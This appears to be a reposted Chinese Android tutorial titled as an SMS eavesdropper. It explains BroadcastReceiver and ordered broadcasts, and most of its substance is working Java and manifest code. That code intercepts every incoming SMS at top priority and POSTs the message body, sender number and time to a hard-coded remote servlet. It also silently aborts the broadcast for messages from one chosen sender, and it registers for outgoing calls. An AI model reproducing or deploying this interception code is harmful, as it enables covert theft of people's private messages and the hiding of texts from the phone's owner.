您的位置:首页 > 移动开发 > Android开发

Android:BroadcastReceiver:采用广播接收者实现短信窃听器

2016-01-04 12:51 525 查看
广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:

第一步:继承BroadcastReceiver,并重写onReceive()方法。

public class IncomingSMSReceiver extends
BroadcastReceiver {

  @Override public void
onReceive(Context context, Intent
intent) {

  }

}

第二步:订阅感兴趣的广播Intent,订阅方法有两种:

第一种:使用代码进行订阅

IntentFilter filter = new
IntentFilter("android.provider.Telephony.SMS_RECEIVED");

IncomingSMSReceiver receiver = new
IncomingSMSReceiver();

registerReceiver(receiver, filter);

第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:

<receiver android:name=".IncomingSMSReceiver">

   <intent-filter>

        <action
android:name="android.provider.Telephony.SMS_RECEIVED"/>

   </intent-filter>

</receiver>

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

      package="cn.itcast.smslistener"

      android:versionCode="1"

      android:versionName="1.0">

    <application android:icon="@drawable/icon" android:label="@string/app_name">

        <receiver android:name=".SMSBroadcastReceiver">

            <intent-filter android:priority="1000">

                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

            </intent-filter>

        </receiver>

        <receiver android:name=".PhoneBroadcastReceiver">

            <intent-filter android:priority="1000">

                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>

            </intent-filter>

        </receiver>


    </application>

    <uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->

<!-- 访问internet权限 -->

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

</manifest>

当系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。

public class SMSBroadcastReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        Object[] pdus = (Object[]) intent.getExtras().get("pdus");

        for(Object p : pdus){

            byte[] pdu = (byte[]) p;

            SmsMessage message = SmsMessage.createFromPdu(pdu);


            String content = message.getMessageBody();

            Date date = new Date(message.getTimestampMillis());

            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

            String receiveTime = format.format(date);

            String senderNumber = message.getOriginatingAddress();

            sendSMS(content, receiveTime, senderNumber);

            

            if("5556".equals(senderNumber)){

                abortBroadcast();//终止广播

            }

        }

    }

    private boolean sendSMS(String content, String receiveTime, String senderNumber) {

        try{

            String params = "content="+ URLEncoder.encode(content, "UTF-8")+

                "&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;

            byte[] entity = params.getBytes();

            String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet";

            HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();

            conn.setConnectTimeout(5000);

            conn.setRequestMethod("POST");

            conn.setDoOutput(true);

            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

            conn.setRequestProperty("Content-Length", String.valueOf(entity.length));

            conn.getOutputStream().write(entity);


            if(conn.getResponseCode() == 200){

                return true;

            }

        }catch (Exception e) {

            e.printStackTrace();

        }

        return false;

    }

}

广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。前者是完全异步的,所有接收者(逻辑上)都在同一时刻运行,对消息传递的效率而言这是很好的做法,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播;然而后者是逐个执行接收者——系统会按照接收者声明的优先级别(声明在intent-filter元素的android:priority属性中,数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置),按顺序逐次执行。

Context.sendBroadcast()

   发送的是普通广播,所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

   发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播。对于有序广播,前面的接收者可以将处理结果存放进广播Intent,然后传给下一个接收者。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: